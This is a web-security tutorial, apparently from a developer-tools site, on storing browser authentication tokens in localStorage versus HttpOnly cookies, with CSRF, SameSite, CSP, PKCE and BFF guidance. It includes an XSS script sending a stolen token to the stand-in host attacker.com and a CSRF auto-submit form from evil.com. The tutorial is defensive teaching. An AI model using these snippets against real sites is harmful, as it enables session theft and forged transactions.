#1Secure token handling: cookies vs. localStorage

What we tested: We generated keys, hashes, and tokens using the browser-based tools on this site. All cryptographic operations use the Web Crypto API or run entirely client-side. We verified output against OpenSSL and known test vectors.

Where you store browser tokens is one of the easiest places to make a security mistake.

The main trade-off is convenience versus exposure: localStorage is easy for JavaScript to read, while HttpOnly cookies keep tokens away from script but change how you deal with request security.

#21. The Core Architectural Dilemma

When designing client-side token storage, developers must choose between two browser storage mechanisms:

┌─────────────────────────────────────────────────────────────┐
│                    TOKEN STORAGE CHOICES                    │
├──────────────────────────────┬──────────────────────────────┤
│ 1. LocalStorage              │ 2. HttpOnly Cookie           │
│ - Accessible via JavaScript  │ - Inaccessible to JS         │
│ - Vulnerable to XSS Token    │ - Immune to XSS Token Theft  │
│   Exfiltration               │ - Vulnerable to CSRF (unless │
│ - Immune to CSRF             │   SameSite is used)          │
└──────────────────────────────┴──────────────────────────────┘

The fundamental trade-off: LocalStorage exposes tokens to XSS attacks, while Cookies expose requests to CSRF attacks.

Understanding how to mitigate both risks dictates modern web security design.

#22. LocalStorage: The XSS Vulnerability Surface

Web Storage (window.localStorage and window.sessionStorage) provides a simple key-value JavaScript API:

// Storing an authentication token in LocalStorage
localStorage.setItem('access_token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6...');

// Retrieving token to attach to an API request header
const token = localStorage.getItem('access_token');
fetch('/api/user/profile', {
  headers: {
    'Authorization': `Bearer ${token}`
  }
});

#3The Security Vulnerability: XSS Token Theft

LocalStorage is accessible to any JavaScript executing within the same origin (protocol://domain:port).

If your application suffers from a Cross-Site Scripting (XSS) vulnerability, caused by an un-sanitized user input field, a vulnerable third-party npm package, a compromised analytics script, or an injected ad tag, malicious code running on your origin can read localStorage:

// Malicious script injected via XSS
(function exfiltrateTokens() {
  const token = localStorage.getItem('access_token');
  if (token) {
    // Exfiltrate the user's active session token to attacker's server
    new Image().src = 'https://attacker.com/log?token=' + encodeURIComponent(token);
  }
})();

Once an attacker exfiltrates an active JWT from localStorage, they possess a valid session token. They can attach it to their own HTTP client from anywhere in the world and impersonate the victim until the token expires.

#23. Cookies: The HttpOnly Defense Line

Cookies are a header-based storage mechanism managed automatically by the browser's HTTP networking engine.

When an authentication server issues a token inside a Set-Cookie HTTP response header, it can append security flags:

HTTP/1.1 200 OK
Set-Cookie: access_token=eyJhbGci...; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=900

#3The Security Flag Breakdown

• HttpOnly: The single most important security flag. Instructs the browser that the cookie must NOT be accessible via JavaScript (document.cookie returns empty for this item).
• Secure: Enforces that the cookie is transmitted only over encrypted HTTPS connections. The browser will never transmit the cookie over unencrypted http:// calls.
• SameSite=Lax / Strict: Restricts when cookies are automatically sent with cross-site requests, providing native defense against CSRF attacks.
• Path=/: Restricts the URL paths to which the cookie will be sent.
• Max-Age / Expires: Defines token lifespan.

#3Why HttpOnly Neutralizes Token Theft

If an attacker achieves XSS execution on a site using HttpOnly cookies:

// Malicious script attempts to read cookies via XSS
console.log(document.cookie); 
// Returns empty string for HttpOnly cookies! JavaScript cannot read the token byte stream.

Because JavaScript cannot read HttpOnly cookies, the attacker cannot exfiltrate the token text to an external server. The token remains safe inside the browser's network layer.

#24. Understanding CSRF & The SameSite Defense

While HttpOnly cookies protect session tokens from XSS theft, cookies introduce a different threat vector: Cross-Site Request Forgery (CSRF).

#3How CSRF Attacks Work

By default, when a user's browser sends an HTTP request to yourbank.com, the browser automatically attaches all valid cookies stored for yourbank.com.

If a user visits a malicious website (evil.com) while logged into yourbank.com, evil.com can trigger a hidden HTML form submit to yourbank.com/api/transfer:

<!-- Malicious HTML page on evil.com -->
<form id="csrfForm" action="https://yourbank.com/api/transfer" method="POST">
  <input type="hidden" name="to_account" value="attacker_id" />
  <input type="hidden" name="amount" value="5000" />
</form>
<script>document.getElementById('csrfForm').submit();</script>

When the browser submits the form to yourbank.com, it automatically includes the user's session cookie. yourbank.com processes the request thinking the user initiated it.

#3The Modern Solution: SameSite Cookie Attribute

The SameSite attribute controls whether cookies are sent with cross-site requests:

1. SameSite=Strict: The cookie is never sent in cross-site requests (e.g., following a link from an external email or site will not send the cookie on initial load). Highest security.
2. SameSite=Lax (Default in Modern Browsers): The cookie is withheld on cross-site sub-requests (like images, <iframe> embeds, or AJAX POST calls), but sent when a user clicks a top-level link navigating to your site. Effectively neutralizes CSRF for state-changing POST/PUT/DELETE requests.
3. SameSite=None; Secure: Cookies are sent with all cross-site requests. Used for cross-domain embedded widgets or APIs across different domains.

#25. Storage Security Comparison Matrix

#27. Content Security Policy (CSP): The Defense-in-Depth Safety Net

Even when using HttpOnly cookies for token storage, an unhandled XSS vulnerability allows attackers to execute unauthorized fetch requests or keylogger scripts on behalf of the user.

A strict Content Security Policy (CSP) HTTP header acts as a defense-in-depth safety net:

# Recommended CSP header for modern Single-Page Applications
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.yourdomain.com; frame-ancestors 'none'; object-src 'none';

#3Key CSP Directives for Token Safety

• connect-src 'self' https://api.yourdomain.com: Prevents injected XSS scripts from exfiltrating data or sending unauthorized requests to un-approved third-party domains.
• object-src 'none': Disables Flash/Java applet plugins.
• frame-ancestors 'none': Blocks clickjacking attacks by forbidding external sites from embedding your app inside <iframe> elements.

#3Logout Mechanics: Proper Cookie & Storage Eviction

When a user logs out, modern applications must invalidate both the local browser storage and the server-side session state:

// Server-side logout endpoint handler (Express / Node.js)
app.post('/api/auth/logout', (req, res) => {
  // 1. Evict HttpOnly cookie by setting Max-Age=0 and expiration in the past
  res.cookie('refresh_token', '', {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    expires: new Date(0), // Set date in past
    maxAge: 0
  });

  // 2. Add JWT ID (jti) to server-side Redis revocation blacklist
  if (req.user && req.user.jti) {
    redisClient.set(`bl_${req.user.jti}`, 'revoked', 'EX', 86400);
  }

  res.status(200).json({ message: 'Logged out successfully' });
});

Proper eviction requires setting expires to an epoch date in the past (new Date(0)), clearing in-memory client state, and logging out across active browser tabs.

#3OAuth 2.1 & PKCE (Proof Key for Code Exchange) Flow

For single-page applications interacting with third-party OAuth providers (Google, GitHub, Auth0, Okta), the OAuth 2.1 specification mandates the PKCE (Proof Key for Code Exchange) flow.

Client (SPA)                     OAuth Authorization Server
   │                                        │
   │ ── 1. Generates Code Verifier & ────>  │
   │       Code Challenge (SHA-256)         │
   │                                        │
   │ <─ 2. Redirects with Auth Code ─────── │
   │                                        │
   │ ── 3. Sends Auth Code + ─────────────> │ (Verifies Hash)
   │       Raw Code Verifier                │
   │ <─ 4. Returns Session Tokens ───────── │

PKCE prevents authorization code interception attacks on public clients. When combined with the BFF Proxy pattern or Dual-Token in-memory storage, PKCE guarantees end-to-end security for modern SPA authentication.

#28. Recommended Architecture: The Dual-Token & BFF Patterns

To achieve maximum security for modern SPAs, security architects recommend one of two industry-standard patterns:

#3Pattern A: Dual-Token Architecture (In-Memory + HttpOnly Cookie)

This pattern splits session credentials into two separate tokens:

Client Application (Browser)                  Authentication Server
   ┌───────────────────────┐                    ┌───────────────────────┐
   │                       │ ── 1. Login ─────> │                       │
   │  In-Memory JS Variable│                    │  Set-Cookie:          │
   │  [Access Token]       │ <─ 2. Auth OK ──── │  refresh_token        │
   │  (Lifespan: 15 mins)  │                    │  (HttpOnly; Lax)      │
   └───────────────────────┘                    └───────────────────────┘

1. Access Token (Short-Lived: 15 mins): Returned in the JSON response body. Stored strictly in an in-memory JavaScript variable (React state, Pinia/Vue store, or closure variable). NOT saved to localStorage.
   • If XSS occurs, closing or refreshing the tab clears memory.
2. Refresh Token (Long-Lived: 7 days): Stored in an HttpOnly, Secure, SameSite=Lax Cookie scoped exclusively to /api/auth/refresh.
   • When the 15-minute access token expires in memory, a background API call to /api/auth/refresh uses the HttpOnly cookie to fetch a fresh in-memory access token seamlessly.

#3Pattern B: The Backend-for-Frontend (BFF) Pattern

For high-security applications (banking, healthcare, enterprise SaaS), use a BFF Proxy:

React / Vue SPA                  BFF Proxy Server                 Resource API
 ┌────────────────┐               ┌─────────────────┐             ┌──────────────┐
 │                │ ── Cookies ─> │                 │ ── Bearer ─>│              │
 │ Browser Client │ (HttpOnly)    │ Next.js API /   │   JWT       │ Internal     │
 │                │ <───────────  │ Express Gateway │ <────────── │ Microservices│
 └────────────────┘               └─────────────────┘             └──────────────┘

• The client SPA never handles raw JWTs. It communicates with the BFF Proxy using an HttpOnly, SameSite=Lax session cookie.
• The BFF Proxy holds the actual JWT in server-side session memory or extracts it from the encrypted cookie, attaching it to backend microservice requests via Authorization: Bearer <JWT>.

#27. Auditing Session Tokens Safely

When inspecting or debugging JWT claims during development, pasting session tokens into unverified cloud websites introduces security risks.

Use the AllDevToolsHub JWT Decoder:

• 100% Client-Side Inspection: Decodes Base64URL claims locally in your browser.
• Zero Network Transmission: Verify via DevTools Network tab that tokens are never sent to external servers.
• Claim Expiration Audit: Highlights expired exp, invalid nbf, and missing iss claims instantly.

#2Summary

Protecting session tokens requires matching storage choices to attack vectors:

1. Never store sensitive JWTs in localStorage: XSS vulnerabilities allow malicious scripts to exfiltrate tokens permanently.
2. Use HttpOnly, Secure, SameSite=Lax Cookies: Blocks JavaScript token theft while protecting against CSRF attacks.
3. Adopt Dual-Token Architecture: Keep short-lived access tokens in memory and long-lived refresh tokens in HttpOnly cookies.
4. Implement BFF for Enterprise Apps: Isolate raw tokens behind a backend proxy layer.

Audit your session tokens privately at the AllDevToolsHub JWT Decoder.

#2Related Tools

• JWT Decoder, Inspect and audit JWT claims locally in your browser
• CORS Header Checker, Verify cross-origin cookie and header permissions
• AES Encrypt/Decrypt, Client-side Web Crypto API encryption

#2Related Articles

• JWT Security 101: How to Audit Tokens Without Leaking Secrets
• The Zero-Trust Developer Workflow
• Bcrypt vs Argon2 in Practice

#2Frequently Asked Questions

Q: If HttpOnly cookies block JavaScript access, how does my React app know if the user is logged in?

A: Do not rely on checking the token presence in client code. Instead, make an initial endpoint call (GET /api/me or GET /api/auth/session) on application load. The server checks the HttpOnly cookie and returns a non-sensitive JSON payload ({ isAuthenticated: true, user: { id: "123", name: "Alice" } }) stored in your React component state.

Q: Can I use SameSite=Strict for all authentication cookies?

A: SameSite=Strict provides maximum CSRF protection, but it means if a user clicks a link to your site from an external email or website, the initial page request will NOT include the authentication cookie (making the user appear logged out on first click). SameSite=Lax is the recommended default for user-facing web applications.

Written by Rahul Jalavadiya, founder of AllDevToolsHub. All tools run locally in your browser.

#2Sources / Further reading

• MDN Web Docs - HTTP cookies
• OWASP - Session Management Cheat Sheet
• IETF - RFC 6265: HTTP State Management Mechanism
• IETF - Same-Site Cookies (RFC 6265bis)